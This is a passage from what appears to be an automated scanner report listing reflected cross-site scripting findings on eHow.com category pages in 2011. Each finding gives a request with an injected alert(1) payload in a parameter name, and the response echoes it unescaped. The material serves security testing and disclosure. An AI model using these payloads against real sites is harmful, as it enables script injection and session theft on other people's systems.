GET /beauty-and-personal-care/?ce2c5'-alert(1)-'b84718647fe=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:24 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73561
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Beauty & Personal Care - How To Information | eHo ...[SNIP]... <fb:like href="http://www.ehow.com/beauty-and-personal-care/?ce2c5'-alert(1)-'b84718647fe=1" ref="like" width="300"> ...[SNIP]...
4.341. http://www.ehow.com/business/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/business/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 76bb7'-alert(1)-'d74031893f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business/?76bb7'-alert(1)-'d74031893f9=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:25 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75314
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Business - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/business/?76bb7'-alert(1)-'d74031893f9=1" ref="like" width="300"> ...[SNIP]...
4.342. http://www.ehow.com/car-repair-and-maintenance/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/car-repair-and-maintenance/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 81bbf'-alert(1)-'0dd7b3504d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-repair-and-maintenance/?81bbf'-alert(1)-'0dd7b3504d5=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:22 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72997
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Car Repair & Maintenance - How To Information | e ...[SNIP]... <fb:like href="http://www.ehow.com/car-repair-and-maintenance/?81bbf'-alert(1)-'0dd7b3504d5=1" ref="like" width="300"> ...[SNIP]...
4.343. http://www.ehow.com/careers/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/careers/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da1da'-alert(1)-'b38942ddcfd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /careers/?da1da'-alert(1)-'b38942ddcfd=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:28 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75360
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Careers - How To Information | eHow.com</title>
4.344. http://www.ehow.com/cars/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/cars/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9209d'-alert(1)-'45b907ee68f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cars/?9209d'-alert(1)-'45b907ee68f=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:23 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70759
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Cars - How To Information | eHow.com</title> < ...[SNIP]... <fb:like href="http://www.ehow.com/cars/?9209d'-alert(1)-'45b907ee68f=1" ref="like" width="300"> ...[SNIP]...
4.345. http://www.ehow.com/computer-software/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/computer-software/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 206d4'-alert(1)-'dbefd3749fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /computer-software/?206d4'-alert(1)-'dbefd3749fe=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:24 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72900
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Computer Software - How To Information | eHow.com ...[SNIP]... <fb:like href="http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1" ref="like" width="300"> ...[SNIP]...
4.346. http://www.ehow.com/computers/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/computers/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fdff3'-alert(1)-'174bc4ab464 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /computers/?fdff3'-alert(1)-'174bc4ab464=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:23 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75189
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Computers - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/computers/?fdff3'-alert(1)-'174bc4ab464=1" ref="like" width="300"> ...[SNIP]...
4.347. http://www.ehow.com/culture-and-society/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/culture-and-society/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2b5e0'-alert(1)-'eff10e5d87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /culture-and-society/?2b5e0'-alert(1)-'eff10e5d87=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:21 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72021
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Culture & Society - How To Information | eHow.com ...[SNIP]... <fb:like href="http://www.ehow.com/culture-and-society/?2b5e0'-alert(1)-'eff10e5d87=1" ref="like" width="300"> ...[SNIP]...
4.348. http://www.ehow.com/diseases-and-conditions/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/diseases-and-conditions/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8faf8'-alert(1)-'92bb278d1ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diseases-and-conditions/?8faf8'-alert(1)-'92bb278d1ba=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:32 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71305
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Diseases & Conditions - How To Information | eHow ...[SNIP]... <fb:like href="http://www.ehow.com/diseases-and-conditions/?8faf8'-alert(1)-'92bb278d1ba=1" ref="like" width="300"> ...[SNIP]...
4.349. http://www.ehow.com/drugs-and-supplements/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/drugs-and-supplements/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe97d'-alert(1)-'7b1d74f9c1b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /drugs-and-supplements/?fe97d'-alert(1)-'7b1d74f9c1b=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:51 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72692
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Drugs & Supplements - How To Information | eHow.c ...[SNIP]... <fb:like href="http://www.ehow.com/drugs-and-supplements/?fe97d'-alert(1)-'7b1d74f9c1b=1" ref="like" width="300"> ...[SNIP]...
4.350. http://www.ehow.com/education/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/education/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6087c'-alert(1)-'194ef36dd58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /education/?6087c'-alert(1)-'194ef36dd58=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:02 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75234
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Education - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/education/?6087c'-alert(1)-'194ef36dd58=1" ref="like" width="300"> ...[SNIP]...
4.351. http://www.ehow.com/ehow-family/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-family/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c767"><script>alert(1)</script>be6c4ab1e42 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-family/?7c767"><script>alert(1)</script>be6c4ab1e42=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45027
4.352. http://www.ehow.com/ehow-food/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-food/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b3a1"><script>alert(1)</script>79143987f86 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-food/?6b3a1"><script>alert(1)</script>79143987f86=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46088
4.353. http://www.ehow.com/ehow-health/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-health/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f509"><script>alert(1)</script>873ede6293d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-health/?3f509"><script>alert(1)</script>873ede6293d=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43261
4.354. http://www.ehow.com/ehow-home/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-home/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3196"><script>alert(1)</script>92b0e28812b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-home/?d3196"><script>alert(1)</script>92b0e28812b=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45054
4.355. http://www.ehow.com/ehow-money/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-money/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5f86"><script>alert(1)</script>d7f01f7f7f6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-money/?f5f86"><script>alert(1)</script>d7f01f7f7f6=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:11 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46741
4.356. http://www.ehow.com/ehow-style/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-style/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 497ab"><script>alert(1)</script>953c40a3a58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-style/?497ab"><script>alert(1)</script>953c40a3a58=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45257
4.357. http://www.ehow.com/ehow-tax-time/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/ehow-tax-time/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c261"><script>alert(1)</script>ad4ad1bb267 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ehow-tax-time/?7c261"><script>alert(1)</script>ad4ad1bb267=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:11 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43139
4.358. http://www.ehow.com/electronics/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/electronics/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 535c5'-alert(1)-'e8bfb8c2480 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /electronics/?535c5'-alert(1)-'e8bfb8c2480=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
